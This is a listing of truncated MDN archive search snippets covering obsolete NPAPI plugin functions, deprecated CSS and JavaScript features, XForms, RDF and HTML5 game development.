« gecko plugin api reference « browser side plug-in api summary reloads all of the installed plugins. syntax #include <npapi.h> void npn_reloadplugins(npbool reloadpages);code parameters the function has the following parameter: reloadpages whether to reload pages. if true, all pages are reloaded once the plugins are reloaded; otherwise, they aren't. description npn_reloadplugins() reads the plugins directory for the current platform and reinstalls all of the plug-ins it finds there. normally, if you add or remove any plug-ins, the browser does not see them until you restart gecko. npn_reloadplugins() lets you install a new plug-in and load it, or to remove a plug-in, without having to restart the browser. you could use this function as part of the plug-in's installation ...
NPN_UserAgent - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary returns the browser's user agent field. this can be used to handle variations in different browsers (or versions thereof) when implementing your plug-in. syntax #include <npapi.h> const char* npn_useragent(npp instance); parameters the function has the following parameter: instance pointer to the current plug-in instance. returns a pointer to a buffer that contains the user agent field of the browser. description the user agent is the part of the http header that identifies the browser during transfers. you can use this information to verify that the expected browser is in use, or you can use it in combination with npn_version() to supply different code for different versions of the same browser. see also n...
NPObject - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary npobject is a structure that holds a pointer to an npclass and an integer reference count, and possibly also implementation specific (i.e. plugin specific, or browser specific) members. npobject is the type used to express objects exposed by either the plugin or by the browser through this api. the browsers are expected to expose their window objects and everything reachable from it through this api. npobjects are reference counted objects, so callers need to be careful to properly release acquired references to them. to aid with the reference counting and ownership management in general, the functions npn_createobject(), npn_retainobject(), npn_releaseobject(), and npn_releasevariantvalue() are provided as part of this api.
NPPVariable - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api see npn_setvalue. note: nppvariable != npnvariable ...
NPP_DestroyStream - Archive of obsolete content
tly by some action such as deleting the instance or initiating higher-priority network operations. npres_network_err: stream failed due to problems with network, disk i/o, lack of memory, or other problems. returns if successful, the plug-in should return nperr_no_error. if unsuccessful, the plug-in should return an error code. for possible values, see error codes. description the browser calls the npp_destroystream function when a data stream sent to the plug-in is finished, either because it has completed successfully or terminated abnormally. after this, the browser deletes the npstream object. you should delete any private data allocated in stream->pdata at this time, and should not make any further references to the stream object. see also npp_newstream, npstream ...
NPP_Print - Archive of obsolete content
pointer to npprint structure. description npp_print is called when the user requests printing for a web page that contains a visible plug-in (either embedded or full-page). it uses the print mode set in the npprint structure in its printinfo parameter to determine whether the plug-in should print as an embedded plug-in or as a full-page plug-in. an embedded plug-in shares printing with the browser; the plug-in prints the part of the page it occupies, and the browser handles everything else, including displaying print dialog boxes, getting the printer device context, and any other tasks involved in printing, as well as printing the rest of the page. for an embedded plug-in, set the printinfo field to npembedprint. a full-page plug-in handles all aspects of printing itself. for a full-pag...
NPP_SetValue - Archive of obsolete content
syntax #include <npapi.h> nperror npp_setvalue(void *instance, npnvariable variable, void *value); parameters the function has the following parameters: instance pointer to plugin instance on which to set the variable. variable the variable being set. value value for the variable being set. returns if successful, the function should return nperr_no_error. ...
NPP_StreamAsFile - Archive of obsolete content
npstream* stream, const char* fname); parameters the function has the following parameters: instance pointer to current plug-in instance. stream pointer to current stream. fname pointer to full path to a local file. if an error occurs while retrieving the data or writing the file, fname may be null. description when the stream is complete, the browser calls npp_streamasfile to provide the instance with a full path name for a local file for the stream. npp_streamasfile is called for streams whose mode is set to np_asfileonly or np_asfile only in a previous call to npp_newstream. if an error occurs while retrieving the data or writing the file, the file name (fname) is null. see also npp_newstream, npp_write, npp_writeready, npstream, npp ...
NPP_URLNotify - Archive of obsolete content
n or indirectly by some action such as deleting the instance or initiating higher-priority network operations. npres_network_err: stream failed due to problems with network, disk i/o, lack of memory, or other problems. notifydata plug-in-private value for associating a previous npn_geturlnotify() or npn_posturlnotify() request with a subsequent npp_urlnotify() call. description the browser calls npp_urlnotify() after the completion of a npn_geturlnotify() or npn_posturlnotify() request to inform the plug-in that the request was completed and supply a reason code for the completion. the most common reason code is npres_done, indicating simply that the request completed normally. other possible reason codes are npres_user_break, indicating that the request was halted due to a user...
NPPrint - Archive of obsolete content
to npfullprint structure. plug-in can optionally print in full-page mode. the fullprint field of the union is valid. see npfullprint and npp_print. np_embed: pointer to npembedprint structure. plug-in should print in embedded mode. the embedprint field of the union is valid. see npembedprint. description the npp_print function passes a pointer to an npprint object (previously allocated by the browser) to the plug-in. the pointer and fields within the npprint structure are valid only for the duration of the npp_print call. see also npp_print, npfullprint, npembedprint ...
NPPrintCallbackStruct - Archive of obsolete content
he plug-in should write its postscript data. description callback structures are used to pass platform-specific information. the npprintcallbackstruct structure contains the file pointer to which the plug-in should write its postscript data. this information is required by the platformprint field of the npembedprint structure during embedded mode printing. at the time the plug-in is called, the browser has already opened the file and written postscript for other parts of the page. when the plug-in is done, it should leave the file open, so the browser can continue to write additional postscript data to the file. see also npp_print, npembedprint, npsetwindowcallbackstruct, npanycallbackstruct ...
NPRect - Archive of obsolete content
syntax typedef struct _nprect { uint16 top; uint16 left; uint16 bottom; uint16 right; } nprect; fields the data structure has the following fields: top, left, bottom, right the top, left, bottom, and right sides of the rectangle. description nprect defines the bounding box of the area of the plug-in window to be updated, painted, invalidated, or clipped to. ...
NPRegion - Archive of obsolete content
syntax windows: typedef hrgn npregion; mac os x: typedef rgnhandle npregion; note: this may need to be updated for the cocoa event model. xwindows: typedef region npregion; description npregion defines the region of the plug-in window to be updated, painted, invalidated, or clipped to. for information about the region type definition used by your platform, see your platform documentation. ...
NPVariant - Archive of obsolete content
ructure has the following fields: type a member of the npvarianttype enumeration specifying the data type contained in the npvariant. value the value contained in the npvariant structure. it may be a boolean, integer, double, string, or object, depending on the variant type. ...
NP_GetValue - Archive of obsolete content
syntax #include <npapi.h> nperror np_getvalue(void *instance, nppvariable variable, void *value); parameters the function has the following parameters: instance pointer to the current plug-in instance. instance parameter is null because no instance has been created. variable plug-in information the call gets. values: nppvpluginnamestring: gets the name of the plug-in nppvplugindescriptionstring: gets the description string of the plug-in value plug-in name, returned by the function. ...
NP_Port - Archive of obsolete content
st window */ int32 porty; } np_port; fields the data structure has the following fields: port standard mac os port into which the plug-in should draw. portx, porty top-left corner of the plug-in rectangle in port coordinates (taking the scroll position into account). description on mac os, the window field of an npwindow structure points to an np_port object, which is allocated by the browser. the np_port is valid for the lifetime of the npwindow, that is, until npp_setwindow is called again with a different value or the instance is destroyed. since the port is shared between the plug-in and other plug-ins and the browser, the plug-in should always do the following: draw only within the area designated by the npwindow. save the current port settings before changing the port for d...
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
historically, most people have chosen to use an install.js script to install a plugin. when this method is used, you can choose to either place the plugin into the plugins directory, or place it into your own directory and modify the windows registry to let firefox know where to find the plugin. the downside to this method is that once the plugin is installed, it might be difficult for users to upgrade, uninstall, or disable the plugin. ...
How RSS Works - Archive of obsolete content
part of the system that produces the rss feed. a news website would be at the server end of rss syndication. a blog would be at the server end of rss syndication. an ipradio show would be at the server end of rss syndication. an iptv show would be at the server end of rss syndication. the client end of rss syndication is the part of the system that consumes the rss feed. the mozilla firefox web browser would be at the client end of the rss syndication. a desktop rss aggregator would be at the client end of the rss syndication. a web-based rss aggregator would be at the client end of the rss syndication. ...
.htaccess ( hypertext access ) - Archive of obsolete content
they caused or by the webserver. errordocument 404 /notfound.html # redirects traffic to notfound.html in case of a 404 error errordocument 500 /serverr.html # redirects traffic to serverr.html in case of a 500 internal server error for further information see this external article: redirect your traffic for error handling. cache control : .htaccess allows a server to control caching by web browsers, helps load pages faster, and reduces the data transfer. mime types : see correct mime types for further information. ...
Introduction to Public-Key Cryptography - Archive of obsolete content
ust". authentication confirms an identity authentication is the process of confirming an identity. in the context of network interactions, authentication involves the confident identification of one party by another party. authentication over networks can take many forms. certificates are one way of supporting authentication. network interactions typically take place between a client, such as browser software running on a personal computer, and a server, such as the software and hardware used to host a web site. client authentication refers to the confident identification of a client by a server (that is, identification of the person assumed to be using the client software). server authentication refers to the confident identification of a server by a client (that is, identification of the ...
Introduction to SSL - Archive of obsolete content
nsitivity of the data involved, the speed of the cipher, and the applicability of export rules. some organizations may want to disable the weaker ciphers to prevent ssl connections with weaker encryption. however, due to u.s. government restrictions on products that support anything stronger than 40-bit encryption, disabling support for all 40-bit ciphers effectively restricts access to network browsers that are available only in the united states (unless the server involved has a special global server id that permits the international client to "step up" to stronger encryption). to serve the largest possible range of users, it's a good idea for administrators to enable as broad a range of ssl cipher suites as possible. that way, when a domestic client or server is dealing with another domes...
TCP/IP Security - Archive of obsolete content
excessive. transport layer protocols such as ssl are most commonly used to provide security for communications with individual http-based applications, although they are also used to provide protection for communication sessions of other types of applications such as smtp, point of presence (pop), internet message access protocol (imap), and file transfer protocol (ftp). because all major web browsers include support for tls, users who wish to use web-based applications that are protected by tls normally do not need to install any client software or reconfigure their systems. newer applications of transport layer security protocols protect both http and non-http application communications, including client/server applications and other network traffic. controls at each layer offer advanta...
Updating an extension to support multiple Mozilla applications - Archive of obsolete content
by the extension. that's where the chrome manifest comes into play. update the chrome manifest remember way back in the first article in this series when we created our chrome manifest, which we haven't touched since? it's time to touch it. as you may (or may not) recall, that file tells the application what xul code your extension's interface needs to overlay onto. for firefox, we overlaid onto browser.xul, which describes a firefox browser window. we need to add lines to the manifest for thunderbird and sunbird, like this: # thunderbird overlay chrome://messenger/content/messenger.xul chrome://stockwatcher2/content/stockwatcher2.xul # sunbird overlay chrome://calendar/content/calendar.xul chrome://stockwatcher2/content/stockwatcher2.xul these lines cause the main thunderbird message list ...
Using Firebug and jQuery (Screencast) - Archive of obsolete content
ong, 59mb): http://developer.mozilla.org/presentations/screencasts/jresig-digg-firebug-jquery.mp4 download: right-click this link and select save as... in order to download a copy of your own. (59mb) bookmarklets: in the presentation, i refer to a bookmarklet that you can use to introduce jquery into a web page. drag these bookmarklets found on this page into the bookmarks toolbar of your browser, in order to use them. related links: firebug firefox extension jquery javascript library jquery selector documentation digg learning jquery: jquerify bookmarklet if you wish to use greasemonkey instead of a bookmarklet, then by all means, please do so. you can use the ability to quickly analyze and inspect a page that firebug and jquery affords you, using the results to build a gr...
-moz-text-blink - Archive of obsolete content
initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none produces no blinking. blink text blinks. note that not blinking the text is one technique to satisfy checkpoint 3.3 of wai-uaag. ...
-ms-scrollbar-3dlight-color - Archive of obsolete content
the -ms-scrollbar-3dlight-color css property is a microsoft extension specifying the color of the top and left edges of the scroll box and scroll arrows of a scroll bar. initial valuedepends on user agentapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the top and left edges of the scroll box and scroll arrows of the scroll bar. formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]? ) | rgb( <number>{3} [ / <alpha-value> ]? ) | rgb( <percentage>#{3} , <alpha-value>? ) | rgb( <number>#{3} , <alpha-value>? )<rgba()> = rgba( <percentage>{3} [ / <alpha-value> ]? ...
-ms-scrollbar-highlight-color - Archive of obsolete content
the -ms-scrollbar-highlight-color css property is a microsoft extension that specifies the color of the slider tray, the top and left edges of the scroll box, and the scroll arrows of a scroll bar. initial valuethreedhighlightapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the slider tray, the top and left edges of the scroll box, and the scroll arrows of a scroll bar. formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]? ) | rgb( <number>{3} [ / <alpha-value> ]? ) | rgb( <percentage>#{3} , <alpha-value>? ) | rgb( <number>#{3} , <alpha-value>? )<rgba()> = r...
-ms-scrollbar-shadow-color - Archive of obsolete content
the -ms-scrollbar-shadow-color css property is a microsoft extension that specifies the color of the bottom and right edges of the scroll box and scroll arrows of a scroll bar. initial valuethreeddarkshadowapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the bottom and right edges of the scroll box and scroll arrows of a scroll bar. formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]? ) | rgb( <number>{3} [ / <alpha-value> ]? ) | rgb( <percentage>#{3} , <alpha-value>? ) | rgb( <number>#{3} , <alpha-value>? )<rgba()> = rgba( <percentage>{3} [ / <alpha-value>...
::-ms-check - Archive of obsolete content
* this will make the box green when the button is checked. */ color: green; /* this will make the checkmark green when the button is checked. */ } result below is an example for you to try. the screenshot to the left shows what will happen when you check the buttons if you don't have access to internet explorer or edge. screenshotlive sample specifications not part of any specification. browser compatibility historically supported in internet explorer and edge before version 79. ...
::-ms-fill-lower - Archive of obsolete content
...
::-ms-fill-upper - Archive of obsolete content
tyle font-weight height margin-bottom margin-left margin-right margin-top -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-fill-upper specifications not part of any specification. browser compatibility historically supported in internet explorer and edge before version 79. see also ::-ms-fill-lower ::-ms-track ::-ms-thumb ::-moz-range-progress css-tricks: styling cross-browser compatible range inputs with css quirksmode: styling and scripting sliders ...
::-ms-thumb - Archive of obsolete content
ition-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-thumb specifications not part of any specification. see also ::-ms-track ::-ms-fill-upper ::-ms-fill-lower ::-webkit-slider-thumb ::-moz-range-thumb css-tricks: styling cross-browser compatible range inputs with css quirksmode: styling and scripting sliders ...
::-ms-track - Archive of obsolete content
ckground-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-track see also ::-ms-thumb ::-ms-fill-upper ::-ms-fill-lower ::-webkit-slider-runnable-track ::-moz-range-track css-tricks: styling cross-browser compatible range inputs with css quirksmode: styling and scripting sliders ...
display-inside - Archive of obsolete content
using flex layout. grid the element lays out its contents using grid layout. ruby the element lays out its contents using ruby layout. formal syntax syntax not found in db! specifications specification status comment css display module level 3the definition of 'display-inside' in that specification. candidate recommendation initial specification browser compatibility not supported in any browser. ...
E4X for templating - Archive of obsolete content
security and escaping function e (str) { if (typeof str === 'xml') {str = str.tostring();} return str; } function quot (s) { // useful for placing user input within inline javascript; may be combined with escape function above as well if (typeof s === 'string') { return s.replace(/"/g, '&quot;...
Introduction - Archive of obsolete content
variable declarations are not limited to one element, and as with all javascript, can span multiple lines. var element2 = <foo> <bar/> </foo>; additionally, you can specify all of the normal attributes on elements that you would normally include in an xml document. ...
Array.observe() - Archive of obsolete content
you can use the more general proxy object instead. ...
Array.unobserve() - Archive of obsolete content
you can use the more general proxy object instead. syntax array.unobserve(arr, callback) parameters arr the array to stop observing. callback the reference to the observer to stop calling each time changes are made on the array arr. description array.unobserve() should be called after array.observe() in order to remove an observer from an array. the callback should be a reference to a function and not an anonymous function, because this reference will be used to unset the previous observer. ...
ArrayBuffer.transfer() - Archive of obsolete content
ill then the value is still 40 buf2.bytelength; // 80 new int32array(buf2)[0]; // 42 var buf3 = arraybuffer.transfer(buf2, 0); buf2.bytelength; // 0 but if you use the polyfill then the value is still 80 buf3.bytelength; // 0 polyfill you can partially work around this by inserting the following code at the beginning of your scripts, allowing use of much of the functionality of transfer() in browsers that do not natively support it. this is not the exact equivalent of this api because browsers that natively support it are be able to internally use the c++ function realloc() which extends the length of the memory and only copies it to a new location as-needed as opposed to the following pollyfill which always copies the whole thing to a new space of memory, but this function transfers data ...
Array comprehensions - Archive of obsolete content
non-standard. do not use! the array comprehensions syntax is non-standard and removed starting with firefox 58. for future-facing usages, consider using array.prototype.map, array.prototype.filter, arrow functions, and spread syntax. obsolete since gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the array comprehension syntax was a javascript expression which allowed you to quickly assemble a new array based on an existing one. however, it has been removed from the standard and the firefox implementation. do not use it! syntax [for (x of iterable) x] [for (x of iterable) if (condition) x] [for (x of iterable) for (y of it...
Date.prototype.toLocaleFormat() - Archive of obsolete content
week are localized using the operating system's locale. however, ordering of the day and month and other localization tasks are not handled automatically since you have control over the order in which they occur. you should take care that the format string is localized properly according to the user's system settings. be aware that the locale used is not necessarily the same as the locale of the browser. extension and xulrunner developers should know that just loading the format string from a .dtd or .properties file using a chrome://somedomain/locale/somefile.ext uri should be avoided, as the .dtd/.properties file and the tolocaleformat() method does not not necessarily use the same locale, which could result in odd looking or even ambiguous or unreadable dates. also note that the behavior ...
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
refox 52) asyncfunction (firefox 52) await (firefox 52) trailing commas in function parameter lists (firefox 52) ecmascript 2018 spread in object literals and rest parameters (firefox 55) for await...of (firefox 57) global_objects/sharedarraybuffer (firefox 57, with flags) global_objects/promise/finally (firefox 58) global_objects/regexp/dotall (not yet implemented; in other browsers) regexp lookbehind assertions (not yet implemented; in other browsers) regexp unicode property escapes (not yet implemented; in other browsers) regexp named capture groups (not yet implemented; in other browsers) ecmascript 2019 array.flat() (firefox 62) array.flatmap() (firefox 62) object.fromentries() (firefox 63) string.trimstart() and string.trimend() (firefox 61) optional catc...
ActiveXObject - Archive of obsolete content
s. to use the activexobject, you may need to adjust security settings in internet explorer for the relevant security zone. for example, for the local intranet zone, you typically need to change a custom setting to "initialize and script activex controls not marked as safe for scripting." to identify members of an automation object that you can use in your code, you may need to use a com object browser, such as the ole/com object viewer, if no reference documentation is available for the automation object. to create an automation object, assign the new activexobject to an object variable: var excelapp = new activexobject("excel.application"); var excelsheet = new activexobject("excel.sheet"); this code starts the application creating the object (in this case, a microsoft excel worksheet).
@cc_on - Archive of obsolete content
s written for asp or asp.net pages or command-line programs because the capabilities of the compilers can be determined by using other methods. when you write a script for a web page, always put conditional compilation code in comments. this enables hosts that do not support conditional compilation to ignore it. it is strongly recommended that you use the @cc_on statement in a comment, so that browsers that do not support conditional compilation will accept your script as valid syntax: an @if or @set statement outside of a comment also activates conditional compilation. example the following example illustrates the use of the @cc_on statement. /*@cc_on @*/ /*@ document.write("javascript version: " + @_jscript_version + "."); document.write("<br />"); @if (@_win32) doc...
Microsoft JavaScript extensions - Archive of obsolete content
warning: these apis will only work in microsoft applications, and are not on a standards track. microsoft browsers (internet explorer, and in a few cases, microsoft edge) support a number of special microsoft extensions to the otherwise standard javascript apis. objects activexobject debug enumerator vbarray functions getobject scriptengine scriptenginebuildversion scriptenginemajorversion scriptengineminorversion statements @cc-on @if @set other date.getvardate() error.description error.number error.stacktracelimit ...
New in JavaScript 1.1 - Archive of obsolete content
javascript versions netscape navigator 3.0 also introduced javascript language versions. <script language="javascript"> <!-- javascript for navigator 2.0. ...
New in JavaScript 1.2 - Archive of obsolete content
javascript versions netscape navigator 4.0 executes javascript language versions up to 1.2. note that netscape navigator 3.0 and earlier ignored scripts with the language attribute set to "javascript1.2" and higher. ...
Object.prototype.__count__ - Archive of obsolete content
try to avoid using it. the __count__ property used to store the count of enumerable properties on the object, but it has been removed. ...
Object.getNotifier() - Archive of obsolete content
syntax object.getnotifier(obj) parameters obj the object to retrieve the notifier of. return value the notifier object associated with the object being passed to the function. ...
Object.prototype.__noSuchMethod__ - Archive of obsolete content
try to avoid using it. the __nosuchmethod__ property used to reference a function to be executed when a non-existent method is called on an object, but this function is no longer available. while __nosuchmethod__ has been dropped, the ecmascript 2015 specification has the proxy object, with which you can achieve the below (and more). syntax obj.__nosuchmethod__ = fun parameters fun a function that takes the form function (id, args) { . ...
Object.observe() - Archive of obsolete content
you can use the more general proxy object instead. syntax object.observe(obj, callback[, acceptlist]) parameters obj the object to be observed. callback the function called each time changes are made, with the following argument: changes an array of objects each representing a change. ...
Object.prototype.__parent__ - Archive of obsolete content
try to avoid using it. ...
Object.unobserve() - Archive of obsolete content
you can use the more general proxy object instead. syntax object.unobserve(obj, callback) parameters obj the object to stop observing. callback the reference to the observer to stop calling each time changes are made on the object obj. return value the specified object. description object.unobserve() should be called after object.observe() in order to remove an observer from an object. ...
Reflect.enumerate() - Archive of obsolete content
syntax reflect.enumerate(target) parameters target the target object on which to get the property. return value an iterator with the enumerable own and inherited properties of the target object. exceptions a typeerror, if target is not an object. ...
String.prototype.quote() - Archive of obsolete content
try to avoid using it. the non-standard quote() method returns a copy of the string, replacing various special characters in the string with their escape sequences and wrapping the result in double-quotes ("). syntax str.quote() return value a new string representing the original string wrapped in double-quotes, with any special characters escaped. ...
handler.enumerate() - Archive of obsolete content
syntax var p = new proxy(target, { enumerate(target) { } }); parameters the following parameter is passed to the enumerate method. this is bound to the handler. target the target object. return value an iterator object. description the handler.enumerate method is a trap for for...in statements. ...
JavaArray - Archive of obsolete content
summary core object a wrapped java array accessed from within javascript code is a member of the type javaarray. created by any java method which returns an array. in addition, you can create a javaarray with an arbitrary data type using the newinstance method of the array class: public static object newinstance(class componenttype, int length) throws negativearraysizeexception description the javaarray object is an instance of a java array that is created in or passed to javascript. javaarray is a wrapper for the instance; all references to the array instance are made through the javaarray. in javascript 1.4 and later, the componenttype parameter is either a javaclass object representing the type of the array or class object, such as one returned by java.lang.class.forname. in...
Packages - Archive of obsolete content
try to avoid using it. summary a top-level object used to access java classes from within javascript code. the support for this object was removed in gecko 16, see liveconnect for details. created by the packages object is a top-level, predefined javascript object. you can automatically access it without using a constructor or calling a method. ...
MSX Emulator (jsMSX) - Archive of obsolete content
what is it? jsmsx is the first msx emulator 100% written in javascript. yes, you read it: javascript! it emulates the underlying z80 cpu, tms9918 video display processor (vdp), ppi, ram slots, and megaram. in its present form, it should be able to run any program or game developed for msx 1.0. since javascript currently is mostly an interpreted language in web browsers, it is at least an order of magnitude slower than other languages such as c and java. therefore, jsmsx requires a very fast computer to emulate msx at the normal 50-60 interrupts per second inside a web browser. why? the initial motivation was to find some interesting project to develop while exploring the possibilities of the <canvas> tag and javascript language in the most recent web browsers like firefox 2. as you may have r...
StopIteration - Archive of obsolete content
ancient feature. syntax stopiteration description stopiteration is a part of legacy iterator protocol, and it will be removed at the same time as legacy iterator and legacy generator. examples stopiteration is thrown by iterator. var a = { x: 10, y: 20 }; var iter = iterator(a); console.log(iter.next()); // ["x", 10] console.log(iter.next()); // ["y", 20] console.log(iter.next()); // throws stopiteration throwing stopiteration. function f() { yield 1; yield 2; throw stopiteration; yield 3; // this is not executed. } for (var n in f()) { console.log(n); // 1 // 2 } specifications non-standard. not part of any current standards document ...
Window.importDialog() - Archive of obsolete content
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. obsoletethis feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this function was only available in the original, xul-based version of firefox for android, which is no longer supported; for that reason, this function is obsolete and should never be used. summary because opening windows on mobile isn't necessarily appropriate, the firefox mobile team designed the importdialog() method to replace w...
XForms Custom Controls - Archive of obsolete content
ype advanced xforms controls - you need your controls to be able to do more things than traditional xforms controls can do new host language - you'd like to support xforms in host languages other than xhtml or xul custom presentation the mozilla xforms extension cannot anticipate all of the possible use cases that will evolve in web applications and web pages as xforms matures and the user base grows. and with these new uses, more and more flexibility will be desired from the controls. introducing custom controls into your environment may be just the solution you are looking for. for example, you might want to render images that are held inside an instance document or you would like to show a disabled trigger when its bound node becomes irrelevant rather than having it not display (the curren...
Troubleshooting XForms Forms - Archive of obsolete content
r an exception pattern in the anti-xss protection exceptions text area. if you are developing on your local machine using apache tomcat for example then add the following regular expression on a new line: ^http://localhost:8080/.* use the xforms buddy to view instance data the xforms buddy extension allows you to dynamically view model instance data while the xforms is running in the firefox browser. the home page for xfroms buddy is located at: xforms buddy using http proxy you can use the charles firefox extension to view your http session data including http header data. if all else fails ask the community ask on one of the mailing lists or on irc. see the community section on the xforms main page. check for known bugs / missing features you can check the known bugs/missing f...
RFE to the Custom Controls - Archive of obsolete content
rols in xul documents for the following reason. xul, in many cases, is much better suited for application development than xhtml. therefore the control set may need to be more extensive to address the wider spectrum of requirements that a xul application will have on its controls. note: xul is a feature of mozilla only and custom control authors should be aware their controls won't work on other browser platforms. rfe put your requests here. output that shows the dom if output contains cdata section or text node and its data is any mozilla known language like xhtml/xul/svg then output should parse and display it (see bug 316817). output should show data in current locale format the bug 331585 address the issue. probably this feature should be implemented by adding a new custom control...
Requests For Enhancement - Archive of obsolete content
Archive › Web › XForms › RFE
ntrols in xul documents for the following reasons: xul, in many cases, is much better suited for application development than xhtml. therefore the control set may need to be more extensive to address the wider spectrum of requirements that a xul application will have on its controls. xul is a feature of mozilla only and custom control authors should be aware their controls won't work on other browser platforms. enhancements of xforms elements if you find that none of the elements proposed by the xforms spec address your requirements, please post your usecase here. xforms extension ui this section should be for used for noting potiential ui improvements to the mozilla xforms extension. ...
XForms Repeat Element - Archive of obsolete content
trigger> <label>remove current item</label> <delete ev:event="domactivate" nodeset="/my:lines/my:line" at="index('lineset')"/> </trigger> attribute based repeat when using xforms within host languages like xhtml, it is often necessary to create repeating structures within constructs such as html:table. thus, one might wish to use element repeat within a table to create the rows of a table, where each row of the table binds to a distinct member of a homogeneous collection. since html:table doesn't (and probably never will) allow xforms:repeat elements as children, another syntax is needed. to accommodate this, xforms 1.0 defines an alternative syntax that is functionally equivalent to the repeat element, using the following attributes: repeat-model repeat-bind repeat-no...
XForms - Archive of obsolete content
try to avoid using it. note: support for xforms was removed from firefox in firefox 19. see the html forms guide for approaches to creating forms in html5. xforms essentials an online book giving you a guided tour of xforms. xforms were envisioned as the future of online forms as envisioned by the w3c. ...
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
ly as they transition from one device to the next. a significant drawback in allowing divergence across applications is that information must be replicated, altered, or massaged to be processed across the divergent applications. this also creates issues in regard to authoring tools for these various applications. for example, let us say we have multiple application offerings that can be used to browse the web. each of these applications has followed their own development and support standards. they each may support some or part of the international standards, but not fully. what authoring tool should we use? would it be fiscally prudent to develop proprietary authoring tools for each application? what would the market adoption rate be for the suite of applications in this case? how can an org...
Mozilla's DOCTYPE sniffing - Archive of obsolete content
try to avoid using it. this page describes behavior of the old html parser in firefox 3.6 and older. it has been replaced by a new html 5 parser in firefox 4 and newer. this document describes how mozilla uses the doctype declaration to determine strict mode vs. quirks mode. the code that makes this determination is currently in determineparsemode() in nsparser.cpp. see bug 1312 and bug 55264 for some of the history of the mode determination. ...
RDF in Fifty Words or Less - Archive of obsolete content
things. first, rdf is a graph-based model for describing internetresources (like web pages and email messages), and how these resources relate to one another. but what does that mean,really? to a mozilla developer, it means that the rdf data model (the "graph") can be used as a mechanism for integrating and organizing internet resources. let's look at an example:bookmarks. right now, most web browsers let you organize your bookmarks hierarchically intofolders. each bookmark is apointer to a web page called a uri (uniform resource identifier). but a web page is just one kind of internet resource. there are tons of others, including email messages, usenet news articles (or entire usenet news groups), and search results from your favorite web crawler, just to name a few. and fundamentally, th...
Web Standards - Archive of obsolete content
benefits to the greatest number of web users while ensuring the long-term viability of any document published on the web. designing and building with these standards simplifies and lowers the cost of production, while delivering sites that are accessible to more people and more types of internet devices. sites developed along these lines will continue to function correctly as traditional desktop browsers evolve, and as new internet devices come to market. [1] documentation migrate apps from internet explorer to mozilla ever have trouble getting your internet explorer-specific web applications to work with mozilla? this article covers common issues associated with migrating applications to the open source mozilla-based browser. using web standards in your web...
XQuery - Archive of obsolete content
for xml what sql is for relational data--i.e., the ability to search, sort, extract, and remold data. it offers powerful and yet intuitive searching based on xpath, has sql-like syntax for the query portion, and has scripting features such as function and variable definitions, xml-inclusion, etc. while xquery is currently not supported in firefox (whether through javascript to developers or to browser users), at least one extension has been developed to give a preliminary support for xquery for browser users (and serving as a simple model for how xquery can be implemented within extensions). xquseme is a working proof-of-concept (so far tested on windows and linux with java installed; mac does not work) extension which allows one to perform xqueries on external urls, the currently loaded we...
XUL Booster - Archive of obsolete content
support for xul editing and awesome support for extension packaging. extension quick start xul booster makes creating and packaging an extension very easy. it supports exporting xpi files or registering a file system based project. create an extension you'll need an extension id; see generating guids. add an overlay you'll need the chrome address of the content you wish to overlay, ex. chrome://browser/content/browser.xul. learn more at creating_a_mozilla_extension:finding_the_file_to_modify to create an xul:overlay, create a xul fragment with a top level node that has an id matching an existing element, ex. menupopup id="menu_toolspopup". learn more at creating_a_mozilla_extension:adding_the_structure. download visit xulbooster at sourceforge.net ...
bootstrap.js - Extensions
the script gets executed in a privileged sandbox, which is cached until the extension is shut down. for more information, see bootstrapped extensions. the example below contains the required methods in vsdoc format. ...
Examples - Game development
me. hextris tetris-like hexagonal puzzle game. 2048 a sliding number tiles puzzle game. bananabread a multiplayer, 3d first-person shooter game developed using emscripten, webgl, and webrtc. monster madness a webgl and asm.js-based multiplayer online shooter, developed by nom nom games and trendy entertainment. auralux webgl and asm.js-based strategy game: capture all the suns to win! browserquest a mmorpg created by the little workshop and mozilla. shoot the rocks a canvas 2d single-player shooter in the style of atari's classic asteroids arcade game from 1979. star citadel a new take on star castle, cinematronics' classic 1980 arcade game, built with canvas 2d. classic platformer canvas 2d game based on `visual-ts game engine` - physics based on matter.js commercial gam...
Game distribution - Game development
the ios app store. benefits of html5 over native building games with html5 gives you extra advantages, such as: multiplatform bliss the technology itself is multiplatform, so you can write the code once and target multiple devices. this can range from low-end smartphones or tablets, through laptops and desktop computers, to smart tvs, watches or even a fridge if it can handle a modern enough browser. you don't need to have separate teams to work on the same title targeting different platforms with only one code base to worry about. you can spend more time and money on promotion and monetization. instant updates you don't have to wait several days to have your game's code updated. if your user finds a bug, you can quickly fix it, update the system and refresh the game on your server to p...
